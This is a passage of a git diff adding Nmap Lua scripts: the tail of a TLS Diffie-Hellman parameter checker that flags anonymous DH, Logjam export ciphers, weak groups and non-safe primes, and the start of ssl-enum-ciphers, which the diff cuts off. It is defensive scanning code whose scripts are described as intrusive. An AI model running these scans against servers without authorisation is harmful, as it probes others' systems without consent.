+ [fromhex([[
+ B10B8F96 A080E01D DE92DE5E AE5D54EC 52C99FBC FB06A3C6 9A6A9DCA 52D23B61
+ 6073E286 75A23D18 9838EF1E 2EE652C0 13ECB4AE A9061123 24975C3C D49B83BF
+ ACCBDD7D 90C4BD70 98488E9C 219A7372 4EFFD6FA E5644738 FAA31A4F F55BCCC0
+ A151AF5F 0DC8B4BD 45BF37DF 365C1A65 E68CFDA7 6D4DA708 DF1FB2BC 2E4A4371
+ ]])] =
+
+ fromhex([[
+ A4D1CBD5 C3FD3412 6765A442 EFB99905 F8104DD2 58AC507F D6406CFF 14266D31
+ 266FEA1E 5C41564B 777E690F 5504F213 160217B4 B01B886A 5E91547F 9E2749F4
+ D7FBD7D3 B9A92EE1 909D0D22 63F80A76 A6A24C08 7A091F53 1DBF0A01 69B6A28A
+ D662A4D1 8E73AFA3 2D779D59 18D08BC8 858F4DCE F97C2A24 855E6EEB 22B3B2E5
+ ]]),
+
+ -- RFC5114/2048-bit DSA group with 224-bit prime order subgroup
+ [fromhex([[
+ AD107E1E 9123A9D0 D660FAA7 9559C51F A20D64E5 683B9FD1 B54B1597 B61D0A75
+ E6FA141D F95A56DB AF9A3C40 7BA1DF15 EB3D688A 309C180E 1DE6B85A 1274A0A6
+ 6D3F8152 AD6AC212 9037C9ED EFDA4DF8 D91E8FEF 55B7394B 7AD5B7D0 B6C12207
+ C9F98D11 ED34DBF6 C6BA0B2C 8BBC27BE 6A00E0A0 B9C49708 B3BF8A31 70918836
+ 81286130 BC8985DB 1602E714 415D9330 278273C7 DE31EFDC 7310F712 1FD5A074
+ 15987D9A DC0A486D CDF93ACC 44328387 315D75E1 98C641A4 80CD86A1 B9E587E8
+ BE60E69C C928B2B9 C52172E4 13042E9B 23F10B0E 16E79763 C9B53DCF 4BA80A29
+ E3FB73C1 6B8E75B9 7EF363E2 FFA31F71 CF9DE538 4E71B81C 0AC4DFFE 0C10E64F
+ ]])] =
+
+ fromhex([[
+ AC4032EF 4F2D9AE3 9DF30B5C 8FFDAC50 6CDEBE7B 89998CAF 74866A08 CFE4FFE3
+ A6824A4E 10B9A6F0 DD921F01 A70C4AFA AB739D77 00C29F52 C57DB17C 620A8652
+ BE5E9001 A8D66AD7 C1766910 1999024A F4D02727 5AC1348B B8A762D0 521BC98A
+ E2471504 22EA1ED4 09939D54 DA7460CD B5F6C6B2 50717CBE F180EB34 118E98D1
+ 19529A45 D6F83456 6E3025E3 16A330EF BB77A86F 0C1AB15B 051AE3D4 28C8F8AC
+ B70A8137 150B8EEB 10E183ED D19963DD D9E263E4 770589EF 6AA21E7F 5F2FF381
+ B539CCE3 409D13CD 566AFBB4 8D6C0191 81E1BCFE 94B30269 EDFE72FE 9B6AA4BD
+ 7B5A0F1C 71CFFF4C 19C418E1 F6EC0179 81BC087F 2A7065B3 84B890D3 191F2BFA
+ ]]),
+
+ -- RFC5114/2048-bit DSA group with 256-bit prime order subgroup
+ [fromhex([[
+ 87A8E61D B4B6663C FFBBD19C 65195999 8CEEF608 660DD0F2 5D2CEED4 435E3B00
+ E00DF8F1 D61957D4 FAF7DF45 61B2AA30 16C3D911 34096FAA 3BF4296D 830E9A7C
+ 209E0C64 97517ABD 5A8A9D30 6BCF67ED 91F9E672 5B4758C0 22E0B1EF 4275BF7B
+ 6C5BFC11 D45F9088 B941F54E B1E59BB8 BC39A0BF 12307F5C 4FDB70C5 81B23F76
+ B63ACAE1 CAA6B790 2D525267 35488A0E F13C6D9A 51BFA4AB 3AD83477 96524D8E
+ F6A167B5 A41825D9 67E144E5 14056425 1CCACB83 E6B486F6 B3CA3F79 71506026
+ C0B857F6 89962856 DED4010A BD0BE621 C3A3960A 54E710C3 75F26375 D7014103
+ A4B54330 C198AF12 6116D227 6E11715F 693877FA D7EF09CA DB094AE9 1E1A1597
+ ]])] =
+
+ fromhex([[
+ 3FB32C9B 73134D0B 2E775066 60EDBD48 4CA7B18F 21EF2054 07F4793A 1A0BA125
+ 10DBC150 77BE463F FF4FED4A AC0BB555 BE3A6C1B 0C6B47B1 BC3773BF 7E8C6F62
+ 901228F8 C28CBB18 A55AE313 41000A65 0196F931 C77A57F2 DDF463E5 E9EC144B
+ 777DE62A AAB8A862 8AC376D2 82D6ED38 64E67982 428EBC83 1D14348F 6F2F9193
+ B5045AF2 767164E1 DFC967C1 FB3F2E55 A4BD1BFF E83B9C80 D052B985 D182EA0A
+ DB2A3B73 13D3FE14 C8484B1E 052588B9 B7D2BBD2 DF016199 ECD06E15 57CD0915
+ B3353BBB 64E0EC37 7FD02837 0DF92B52 C7891428 CDC67EB6 184B523D 1DB246C3
+ 2F630784 90F00EF8 D647D148 D4795451 5E2327CF EF98C582 664B4C0F 6CC41659
+ ]])
+}
+
+
+-- Add additional context (protocol) to debug output
+local function ctx_log(level, protocol, fmt, ...)
+ return stdnse.debug(level, "(%s) " .. fmt, protocol, ...)
+end
+
+
+-- returns a function that yields a new tls record each time it is called
+local function get_record_iter(sock)
+ local buffer = ""
+ local i = 1
+ local fragment
+ return function ()
+ local record
+ i, record = tls.record_read(buffer, i, fragment)
+ if record == nil then
+ local status, err
+ status, buffer, err = tls.record_buffer(sock, buffer, i)
+ if not status then
+ return nil, err
+ end
+ i, record = tls.record_read(buffer, i, fragment)
+ if record == nil then
+ return nil, "done"
+ end
+ end
+ fragment = record.fragment
+ return record
+ end
+end
+
+
+local function get_server_response(host, port, t)
+ local timeout = stdnse.get_timeout(host, 10000, 5000)
+
+ -- Create socket.
+ local status, sock, err
+ local starttls = sslcert.getPrepareTLSWithoutReconnect(port)
+ if starttls then
+ status, sock = starttls(host, port)
+ if not status then
+ ctx_log(1, t.protocol, "Can't connect: %s", sock)
+ return nil
+ end
+ else
+ sock = nmap.new_socket()
+ sock:set_timeout(timeout)
+ status, err = sock:connect(host, port)
+ if not status then
+ ctx_log(1, t.protocol, "Can't connect: %s", err)
+ sock:close()
+ return nil
+ end
+ end
+
+ sock:set_timeout(timeout)
+
+ -- Send request.
+ local req = tls.client_hello(t)
+ status, err = sock:send(req)
+ if not status then
+ ctx_log(1, t.protocol, "Can't send: %s", err)
+ sock:close()
+ return nil
+ end
+
+ -- Read response.
+ local get_next_record = get_record_iter(sock)
+ local records = {}
+ while true do
+ local record
+ record, err = get_next_record()
+ if not record then
+ ctx_log(1, t.protocol, "Couldn't read a TLS record: %s", err)
+ sock:close()
+ return records
+ end
+ -- Collect message bodies into one record per type
+ records[record.type] = records[record.type] or record
+ local done = false
+ for j = 1, #record.body do -- no ipairs because we append below
+ local b = record.body[j]
+ done = ((record.type == "alert" and b.level == "fatal") or
+ (record.type == "handshake" and b.type == "server_hello_done"))
+ table.insert(records[record.type].body, b)
+ end
+ if done then
+ sock:close()
+ return records
+ end
+ end
+end
+
+-- If protocol fails (i.e. no ciphers will ever succeed) then returns false
+-- If no ciphers were supported, but the protocol is valid, then returns nil
+-- else returns the cipher and dh params
+local function get_dhe_params(host, port, protocol, ciphers)
+ local cipher, packed
+ local t = {}
+ local pos = 1
+ t.protocol = protocol
+ local tlsname = tls.servername(host)
+ t.extensions = {
+ server_name = tlsname and tls.EXTENSION_HELPERS["server_name"](tlsname),
+ }
+
+ -- Keep ClientHello record size below 255 bytes and the number of ciphersuites
+ -- to 64 or less in order to avoid implementation issues with some TLS servers
+
+ -- Get handshake record size with just one cipher
+ t.ciphers = { "TLS_NULL_WITH_NULL_NULL" }
+ local len = #tls.client_hello(t)
+ local room = math.floor(math.max(0, (255 - len) / 2))
+
+ local function next_chunk(t, ciphers, pos)
+
+ -- Compute number of ciphers to fit in next chunk
+ local last = math.min(#ciphers, pos + math.min(63, room))
+ t.ciphers = {}
+
+ for i = pos, last do
+ table.insert(t.ciphers, ciphers[i])
+ end
+
+ return last + 1
+ end
+
+ while pos <= #ciphers do
+ pos = next_chunk(t, ciphers, pos)
+ local records = get_server_response(host, port, t)
+ if not records then
+ stdnse.debug1("Connection failed")
+ return false
+ end
+
+ local alert = records.alert
+ if alert then
+ for j = 1, #alert.body do
+ ctx_log(2, protocol, "Received alert: %s", alert.body[j].description)
+ if alert["protocol"] ~= protocol then
+ ctx_log(1, protocol, "Protocol rejected.")
+ return false
+ end
+ end
+ end
+
+ -- Extract negotiated cipher suite and key exchange data
+ local handshake = records.handshake
+ if handshake then
+ for j = 1, #handshake.body do
+ if handshake.body[j].type == "server_hello" then
+ if handshake.body[j].protocol ~= protocol then
+ ctx_log(1, protocol, "Protocol rejected in server hello")
+ return false
+ end
+ cipher = handshake.body[j].cipher
+ elseif handshake.body[j].type == "server_key_exchange" then
+ packed = handshake.body[j].data
+ end
+ end
+ end
+
+ -- Only try next chunk if current chunk was rejected
+ if cipher and packed then
+ local info = tls.cipher_info(cipher)
+ local data = tls.KEX_ALGORITHMS[info.kex].server_key_exchange(packed, protocol)
+ return cipher, data.dhparams
+ end
+ end
+
+ return nil
+end
+
+
+local function get_dhe_ciphers()
+ local dh_anons = {}
+ local dhe_ciphers = {}
+ local dhe_exports = {}
+
+ for cipher, _ in pairs(tls.CIPHERS) do
+ local info = tls.cipher_info(cipher)
+ if DH_anon_ALGORITHMS[info.kex] then
+ dh_anons[#dh_anons + 1] = cipher
+ end
+ if DHE_ALGORITHMS[info.kex] then
+ dhe_ciphers[#dhe_ciphers + 1] = cipher
+ end
+ if DHE_ALGORITHMS_EXPORT[info.kex] then
+ dhe_exports[#dhe_exports + 1] = cipher
+ end
+ end
+
+ return dh_anons, dhe_ciphers, dhe_exports
+end
+
+local fields_order = {
+ "Cipher Suite",
+ "Modulus Type",
+ "Modulus Source",
+ "Modulus Length",
+ "Generator Length",
+ "Public Key Length",
+}
+local group_metatable = {
+ __tostring = function(g)
+ local out = {}
+ for i=1, #fields_order do
+ local k = fields_order[i]
+ if g[k] then
+ out[#out+1] = (" %s: %s"):format(k, g[k])
+ end
+ end
+ return table.concat(out, "\n")
+ end
+}
+
+local function check_dhgroup(anondh, logjam, weakdh, nosafe, cipher, dhparams)
+ local source = DHE_PRIMES[dhparams.p]
+ local length = #dhparams.p * 8
+ local genlen = #dhparams.g * 8
+ local pubkeylen = #dhparams.y * 8
+ local modulus = stdnse.tohex(dhparams.p)
+ local generator = stdnse.tohex(dhparams.g)
+ local pubkey = stdnse.tohex(dhparams.y)
+ local is_prime, is_safe
+
+ local group = {
+ ["Cipher Suite"] = cipher,
+ ["Modulus Source"] = source or "Unknown/Custom-generated",
+ ["Modulus Length"] = length,
+ ["Modulus"] = modulus,
+ ["Generator Length"] = genlen,
+ ["Generator"] = generator,
+ ["Public Key Length"] = pubkeylen
+ }
+ setmetatable(group, group_metatable)
+
+ if have_ssl then
+ local bn = openssl.bignum_bin2bn(dhparams.p)
+ is_safe, is_prime = openssl.bignum_is_safe_prime(bn)
+ group["Modulus Type"] = (is_safe and "Safe prime") or
+ (is_prime and "Non-safe prime") or
+ "Composite"
+ end
+
+ if string.find(cipher, "DH_anon") then
+ anondh[#anondh + 1] = group
+ elseif string.find(cipher, "EXPORT") then
+ logjam[#logjam + 1] = group
+ elseif length <= 1024 then
+ weakdh[#weakdh + 1] = group
+ end
+
+ -- The use of non-safe primes requires carefully generated parameters
+ -- in order to be secure. Do some rudimentary validation checks here.
+ if have_ssl and not is_safe and not DSA_PARAMS[dhparams.p] then
+ nosafe[#nosafe + 1] = group
+ elseif DSA_PARAMS[dhparams.p] and DSA_PARAMS[dhparams.p] ~= dhparams.g then
+ nosafe[#nosafe + 1] = group
+ end
+end
+
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+local function format_check(t, label)
+ local out = {}
+ for i, v in ipairs(t) do
+ out[i] = string.format("%s %d\n%s", label, i, v)
+ end
+ return out
+end
+
+action = function(host, port)
+ local dh_anons, dhe_ciphers, dhe_exports = get_dhe_ciphers()
+ local cipher
+ local dhparams
+ local anondh = {}
+ local logjam = {}
+ local weakdh = {}
+ local nosafe = {}
+ local primes = {}
+ local anons = {}
+
+ local vuln_table_anondh = {
+ title = "Anonymous Diffie-Hellman Key Exchange MitM Vulnerability",
+ description = [[
+Transport Layer Security (TLS) services that use anonymous
+Diffie-Hellman key exchange only provide protection against passive
+eavesdropping, and are vulnerable to active man-in-the-middle attacks
+which could completely compromise the confidentiality and integrity
+of any data exchanged over the resulting session.]],
+ state = vulns.STATE.NOT_VULN,
+ references = {
+ "https://www.ietf.org/rfc/rfc2246.txt"
+ }
+ }
+
+ local vuln_table_logjam = {
+ title = "Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)",
+ description = [[
+The Transport Layer Security (TLS) protocol contains a flaw that is
+triggered when handling Diffie-Hellman key exchanges defined with
+the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
+to downgrade the security of a TLS session to 512-bit export-grade
+cryptography, which is significantly weaker, allowing the attacker
+to more easily break the encryption and monitor or tamper with
+the encrypted stream.]],
+ state = vulns.STATE.NOT_VULN,
+ IDS = {
+ CVE = 'CVE-2015-4000',
+ BID = '74733'
+ },
+ SCORES = {
+ CVSSv2 = '4.3'
+ },
+ dates = {
+ disclosure = {
+ year = 2015, month = 5, day = 19
+ }
+ },
+ references = {
+ "https://weakdh.org"
+ }
+ }
+
+ local vuln_table_weakdh = {
+ title = "Diffie-Hellman Key Exchange Insufficient Group Strength",
+ description = [[
+Transport Layer Security (TLS) services that use Diffie-Hellman groups
+of insufficient strength, especially those using one of a few commonly
+shared groups, may be susceptible to passive eavesdropping attacks.]],
+ state = vulns.STATE.NOT_VULN,
+ references = {
+ "https://weakdh.org"
+ }
+ }
+
+ local vuln_table_nosafe = {
+ title = "Diffie-Hellman Key Exchange Incorrectly Generated Group Parameters",
+ description = [[
+This TLS service appears to be using a modulus that is not a safe prime
+and does not correspond to any well-known DSA group for Diffie-Hellman
+key exchange.
+These parameters MAY be secure if:
+- They were generated according to the procedure described in
+ FIPS 186-4 for DSA Domain Parameter Generation, or
+- The generator g generates a subgroup of large prime order
+Additional testing may be required to verify the security of these
+parameters.]],
+ state = vulns.STATE.NOT_VULN,
+ references = {
+ "https://weakdh.org"
+ }
+ }
+
+ for protocol in pairs(tls.PROTOCOLS) do
+ if protocol == "TLSv1.3" then
+ -- TLSv1.3 does not allow anonymous key exchange and only allows specific
+ -- DHE groups named in RFC 7919
+ goto NEXT_PROTOCOL
+ end
+ -- Try anonymous DH ciphersuites
+ cipher, dhparams = get_dhe_params(host, port, protocol, dh_anons)
+ -- Explicit test for false needed because nil just means no ciphers supported.
+ if cipher == false then goto NEXT_PROTOCOL end
+ if dhparams and not anons[dhparams.p] then
+ vuln_table_anondh.state = vulns.STATE.VULN
+ check_dhgroup(anondh, logjam, weakdh, nosafe, cipher, dhparams)
+ anons[dhparams.p] = 1
+ end
+
+ -- Try DHE_EXPORT ciphersuites
+ cipher, dhparams = get_dhe_params(host, port, protocol, dhe_exports)
+ if dhparams and not primes[dhparams.p] then
+ check_dhgroup(anondh, logjam, weakdh, nosafe, cipher, dhparams)
+ primes[dhparams.p] = 1
+ end
+
+ -- Try non-export DHE ciphersuites
+ cipher, dhparams = get_dhe_params(host, port, protocol, dhe_ciphers)
+ if dhparams and not primes[dhparams.p] then
+ check_dhgroup(anondh, logjam, weakdh, nosafe, cipher, dhparams)
+ primes[dhparams.p] = 1
+ end
+ ::NEXT_PROTOCOL::
+ end
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ vuln_table_anondh.check_results = format_check(anondh, "ANONYMOUS DH GROUP")
+ vuln_table_logjam.check_results = format_check(logjam, "EXPORT-GRADE DH GROUP")
+ vuln_table_weakdh.check_results = format_check(weakdh, "WEAK DH GROUP")
+ vuln_table_nosafe.check_results = format_check(nosafe, "NON-SAFE GROUP")
+
+ if #anondh > 0 then
+ vuln_table_anondh.state = vulns.STATE.VULN
+ end
+
+ if #logjam > 0 then
+ vuln_table_logjam.state = vulns.STATE.VULN
+ end
+
+ if #weakdh > 0 then
+ vuln_table_weakdh.state = vulns.STATE.VULN
+ end
+
+ if #nosafe > 0 then
+ vuln_table_nosafe.state = vulns.STATE.LIKELY_VULN
+ end
+
+ return report:make_output(vuln_table_anondh, vuln_table_logjam, vuln_table_weakdh, vuln_table_nosafe)
+end
diff --git a/scripts/ssl-enum-ciphers.nse b/scripts/ssl-enum-ciphers.nse
new file mode 100644
index 0000000..881b6bd
--- /dev/null
+++ b/scripts/ssl-enum-ciphers.nse
@@ -0,0 +1,1141 @@
+local coroutine = require "coroutine"
+local math = require "math"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local shortport = require "shortport"
+local sslcert = require "sslcert"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tls = require "tls"
+
+description = [[
+This script repeatedly initiates SSLv3/TLS connections, each time trying a new
+cipher or compressor while recording whether a host accepts or rejects it. The
+end result is a list of all the ciphersuites and compressors that a server accepts.
+
+Each ciphersuite is shown with a letter grade (A through F) indicating the
+strength of the connection. The grade is based on the cryptographic strength of
+the key exchange and of the stream cipher. The message integrity (hash)
+algorithm choice is not a factor. The output line beginning with
+<code>Least strength</code> shows the strength of the weakest cipher offered.
+The scoring is based on the Qualys SSL Labs SSL Server Rating Guide, but does
+not take protocol support (TLS version) into account, which makes up 30% of the
+SSL Labs rating.
+
+SSLv3/TLSv1 requires more effort to determine which ciphers and compression
+methods a server supports than SSLv2. A client lists the ciphers and compressors
+that it is capable of supporting, and the server will respond with a single
+cipher and compressor chosen, or a rejection notice.
+
+Some servers use the client's ciphersuite ordering: they choose the first of
+the client's offered suites that they also support. Other servers prefer their
+own ordering: they choose their most preferred suite from among those the
+client offers. In the case of server ordering, the script makes extra probes to
+discover the server's sorted preference list. Otherwise, the list is sorted
+alphabetically.
+
+The script will warn about certain SSL misconfigurations such as MD5-signed
+certificates, low-quality ephemeral DH parameters, and the POODLE
+vulnerability.
+
+This script is intrusive since it must initiate many connections to a server,
+and therefore is quite noisy.
+
+It is recommended to use this script in conjunction with version detection
+(<code>-sV</code>) in order to discover SSL/TLS services running on unexpected
+ports. For the most common SSL ports like 443, 25 (with STARTTLS), 3389, etc.
+the script is smart enough to run on its own.
+
+References:
+* Qualys SSL Labs Rating Guide - https://www.ssllabs.com/projects/rating-guide/
+]]
+
+---
+-- @usage
+-- nmap -sV --script ssl-enum-ciphers -p 443 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- | ssl-enum-ciphers:
+-- | TLSv1.0:
+-- | ciphers:
+-- | TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A
+-- | TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A
+-- | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
+-- | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
+-- | TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
+-- | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
+-- | TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C
+-- | TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C
+-- | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
+-- | TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C
+-- | TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C
+-- | TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
+-- | TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
+-- | compressors:
+-- | NULL
+-- | cipher preference: server
+-- | warnings:
+-- | 64-bit block cipher 3DES vulnerable to SWEET32 attack
+-- | Broken cipher RC4 is deprecated by RFC 7465
+-- | Ciphersuite uses MD5 for message integrity
+-- | Weak certificate signature: SHA1
+-- | TLSv1.2:
+-- | ciphers:
+-- | TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
+-- | TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
+-- | TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A
+-- | TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A
+-- | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
+-- | TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
+-- | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
+-- | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
+-- | TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
+-- | TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
+-- | TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
+-- | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
+-- | TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C
+-- | TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C
+-- | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
+-- | TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C
+-- | TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C
+-- | TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
+-- | TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
+-- | compressors:
+-- | NULL
+-- | cipher preference: server
+-- | warnings:
+-- | 64-bit block cipher 3DES vulnerable to SWEET32 attack
+-- | Broken cipher RC4 is deprecated by RFC 7465
+-- | Ciphersuite uses MD5 for message integrity
+-- |_ least strength: C
+--
+-- @xmloutput
+-- <table key="TLSv1.0">
+-- <table key="ciphers">
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_AES_128_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_AES_256_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_3DES_EDE_CBC_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_RC4_128_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_RC4_128_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_RC4_128_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_RC4_128_MD5</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- </table>
+-- <table key="compressors">
+-- <elem>NULL</elem>
+-- </table>
+-- <elem key="cipher preference">server</elem>
+-- <table key="warnings">
+-- <elem>64-bit block cipher 3DES vulnerable to SWEET32 attack</elem>
+-- <elem>Broken cipher RC4 is deprecated by RFC 7465</elem>
+-- <elem>Ciphersuite uses MD5 for message integrity</elem>
+-- <elem>Weak certificate signature: SHA1</elem>
+-- </table>
+-- </table>
+-- <table key="TLSv1.2">
+-- <table key="ciphers">
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">
+-- TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">
+-- TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_AES_128_GCM_SHA256</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_AES_256_GCM_SHA384</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_AES_128_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_AES_256_CBC_SHA</elem>
+-- <elem key="strength">A</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_3DES_EDE_CBC_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_ECDSA_WITH_RC4_128_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">secp256r1</elem>
+-- <elem key="name">TLS_ECDHE_RSA_WITH_RC4_128_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_RC4_128_SHA</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- <table>
+-- <elem key="kex_info">rsa 2048</elem>
+-- <elem key="name">TLS_RSA_WITH_RC4_128_MD5</elem>
+-- <elem key="strength">C</elem>
+-- </table>
+-- </table>
+-- <table key="compressors">
+-- <elem>NULL</elem>
+-- </table>
+-- <elem key="cipher preference">server</elem>
+-- <table key="warnings">
+-- <elem>64-bit block cipher 3DES vulnerable to SWEET32 attack</elem>
+-- <elem>Broken cipher RC4 is deprecated by RFC 7465</elem>
+-- <elem>Ciphersuite uses MD5 for message integrity</elem>
+-- </table>
+-- </table>
+-- <elem key="least strength">C</elem>
+
+author = {"Mak Kolybabi <mak@kolybabi.com>", "Gabriel Lawrence"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "intrusive"}
+dependencies = {"https-redirect"}
+
+-- Test at most this many ciphersuites at a time.
+-- http://seclists.org/nmap-dev/2012/q3/156
+-- http://seclists.org/nmap-dev/2010/q1/859
+local CHUNK_SIZE = 64
+local have_ssl, openssl = pcall(require,'openssl')
+
+-- Add additional context (protocol) to debug output
+local function ctx_log(level, protocol, fmt, ...)
+ return stdnse.debug(level, "(%s) " .. fmt, protocol, ...)
+end
+
+-- returns a function that yields a new tls record each time it is called
+local function get_record_iter(sock)
+ local buffer = ""
+ local i = 1
